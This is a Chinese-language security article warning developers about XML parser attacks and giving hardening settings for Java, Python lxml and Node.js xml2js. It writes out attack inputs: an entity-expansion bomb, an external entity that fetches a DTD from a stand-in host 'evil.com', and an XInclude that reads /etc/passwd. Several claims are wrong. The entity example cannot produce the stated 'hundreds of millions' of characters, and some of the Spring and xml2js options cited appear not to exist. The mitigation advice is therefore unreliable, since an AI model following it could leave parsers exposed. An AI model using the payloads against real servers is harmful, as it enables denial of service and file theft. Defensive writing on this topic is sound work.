XML解析时一不小心就中招:这些安全坑你踩过几个?

小张刚写完一个读取配置文件的Java程序,上线没两天就被用户反馈“系统卡死、CPU飙到100%”。查了半天,发现是有人往XML配置里塞了一段看似无害的实体引用:

<!DOCTYPE foo [ <!ENTITY x "1" > <!ENTITY y "&x;&x;&x;&x;&x;" > <!ENTITY z "&y;&y;&y;&y;&y;" > ]><root>&z;</root>
这段代码触发了经典的“Billion Laughs”攻击——几KB的XML让解析器瞬间生成上亿个字符,内存直接爆掉。

为什么XML解析会变“定时炸弹”?

XML本身设计得很灵活,支持外部实体、DTD声明、XInclude等特性。但这些功能在服务端解析不可信输入时,就成了攻击者的突破口。比如,用<!ENTITY % remote SYSTEM "http://evil.com/evil.dtd">就能让服务器主动去请求恶意远程文件;再配合<xi:include href="file:///etc/passwd"/>,连服务器上的密码文件都能被读出来。

常见风险场景,看看你有没有中过招

· 后台接收用户上传的XML简历或订单数据,直接丢给DocumentBuilder.parse()处理;
· 用Python的xml.etree.ElementTree解析第三方API返回的XML,没关掉外部实体;
· Spring Boot项目里用了SimpleXMLHttpMessageConverter,却没配disableExternalEntities(true)

怎么防?三招够用

Java(JAXP):
设置工厂属性,禁用外部DTD和实体:

DocumentBuilderFactory factory = DocumentBuilderFactory.newInstance();
factory.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
factory.setFeature("http://xml.org/sax/features/external-general-entities", false);
factory.setFeature("http://xml.org/sax/features/external-parameter-entities", false);

Python(lxml):
明确指定解析器不加载外部实体:

from lxml import etree
parser = etree.XMLParser(resolve_entities=False, no_network=True)
tree = etree.parse(xml_file, parser)

Node.js(xml2js):
初始化时关闭DTD和实体解析:

const xml2js = require('xml2js');
const parser = new xml2js.Parser({
  explicitRoot: false,
  ignoreAttrs: true,
  forbidDTD: true,
  forbidEntity: true
});

记住一句话:只要XML来源不可信,就默认它“有敌意”。别图省事跳过安全配置,也别迷信“我只用ElementTree,肯定安全”——不设防的解析器,就像开着门的保险柜。